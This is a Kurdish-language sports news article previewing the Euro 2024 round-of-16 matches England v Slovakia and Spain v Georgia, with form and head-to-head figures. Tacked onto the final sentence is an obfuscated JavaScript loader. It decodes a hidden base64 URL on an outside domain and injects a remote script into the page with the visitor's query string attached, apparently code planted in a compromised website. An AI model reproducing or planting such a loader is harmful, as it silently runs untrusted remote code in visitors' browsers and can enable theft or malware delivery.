ئنگلتەرا و ئسپانیا دێ بزاڤێن دەربازبوونێ كەن
شاهۆ فەرید:
دهێتە چاڤەڕێ كرن ئەڤرۆ ژی ل دانێ شەڤێ دو یاریێن دی یێن ب هێز و شەڕ بۆ دەسڤەئینانا پلێتا دەربازبوونێ بەر ب قۆناغا چارێك دووماهی هێنە كرن، ئەوا دێ ژ چارچووڤەیێ هەڤڕكیێن قۆناغا 16ێ یا قارەمانییا نەتەوەیێن ئۆرۆپا یۆرۆی 2024ێ ئەوا نوكە هەڤڕكیێن وێ ل وەلاتێ ئەلمانیا بەردەوامە.
ئنگلتەرا ب هیڤییە بەردەوامیێ بدەتە خەونا خوە
بڕیارە ل دەمژمێر حەفتی شەڤ هەلبژارتیێ ئنگلتەرا ل یاریگەها فێلێینس بەرانبەر هەلبژارتیێ سلۆڤاكیا شەڕی بۆ سەركەفتنێ بكەت، هەرچەندە هەلبژارتیێ ئنگلتەرایێ د قۆناغا كۆماندا ئەوا ئاست و ئەنجامێن باش یێن چاڤەڕێ كری نیشان نەداینە و دو جاركی ترس كەفتیە د دلێ جەماوەرێ وێ دا، یا ئێكێ بێ باوەریبوون و یا دویێ سۆپرایزا سلۆڤاكیا ئەوا شیایی د كۆما پێنجێ دا رێزا سێیێ بهێت و دەربازبیت وەكو ئێك ژ باشترین تیم، هەرچەندە ئامار د بەرژوەندییا ئنگلتەرایێ دانە ئەوا ژ شەش دیداران شیایی پێنج سەركەفتنان بەرانبەر وەكهەڤیەكێ بینت، لێ د یۆرۆیێ دا هەر ئەنجامەك دهێتە چاڤەڕێ كرن.
ئسپانیا ب ڕێیا جورجیا چاڤ ل ناسناڤی یە
یارییا دویێ یا ئەڤرۆ دناڤبەرا ئێك ژ ب هێزترین بەربژێرا ناسناڤی هەلبژارتیێ ئسپانیا و هەلبژارتیێ جۆرجیا بیت ئەوا دێ ل دەمژمێر 10ی شەڤ ل یاریگەها راین ئێنێرجی هێتە كرن، ئسپانیا تاكە هەلبژارتیە د یۆرۆیێ دا تۆڕا وێ یا پاقشە ژ گۆلان و تاكە هەلبژارتییە سێ سەركەفتن تۆماركرین د كۆما دویێ دا ئەوا دهێتە هژمارتن بهێزترین كۆم كو هەر ئێك ژ ئیتالیا، كرواتیا و ئەلبانیا دگەل دا بوون، لەوما دبیت ئسپانیا بەربژارا بهێز بیت و خەونێن مەزن هەنە بۆ دەستڤە ئینانا ناسناڤێ چارێ، د هەر حەفت دیدارێن اندا جۆرجیا نەشیایە چو سەركەفتن و وەكهەڤیان بینت بەلكو ئسپانیا شیایە سەركەفتنێن مەزن ژی بینت ژوانا د ڤاڤارتنێن یۆرۆیا 2017ێ دەمێ حەفت گۆل ل سەر جۆرجیا تۆماركرین، لێ د قۆناغا یاریێن یۆرۆیێ دا ئەڤە ئێكەم یارییە دناڤبەرا واندا دهێتە كرن.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
